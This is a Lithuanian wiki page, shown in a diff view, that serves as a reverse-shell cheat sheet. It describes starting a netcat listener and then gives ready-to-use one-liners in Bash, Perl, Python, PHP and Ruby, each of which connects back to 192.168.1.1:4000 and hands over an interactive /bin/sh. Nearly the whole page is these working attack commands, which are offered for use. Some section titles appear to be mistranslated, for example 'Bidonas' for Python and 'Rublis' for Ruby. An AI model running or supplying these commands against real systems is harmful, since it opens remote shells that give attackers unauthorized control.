Reverse shellai: Skirtumas tarp puslapio versijų
Jump to navigation
Jump to search
(Jokio skirtumo)
|
Dabartinė 09:31, 18 birželio 2016 versija
Koncepcija paprasta, lokaliame kompiuteryje paleidžiamas klausymosi įrankis (šiuo atveju netcat), iš nutolusios mašinos laukiama prisijungimo bei shell redirect'o. Nutolusioje mašinoje išmėginsime įvairius metodus kol gausime tinkamiausią ir veikiantį.
Keletas faktų:
- Nutolusios mašinos ip: 192.168.1.38
- Lokalios mašinos ip: 192.168.1.1
Lokalios mašinos paruošimas[keisti]
Paleidžiame netcat (pasiklausymo režimu)
nc -lvp 4000
Nutolusios mašinos reverse shell metodai[keisti]
Bash[keisti]
bash -i >& /dev/tcp/192.168.1.1/4000 0>&1
Perl[keisti]
perl -e 'use Socket;$i="192.168.1.1";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Bidonas (2.7)[keisti]
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Php[keisti]
php -r '$sock=fsockopen("192.168.1.1",4000);exec("/bin/sh -i <&3 >&3 2>&3");'
Rublis[keisti]
ruby -rsocket -e'f=TCPSocket.open("192.168.1.1",4000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'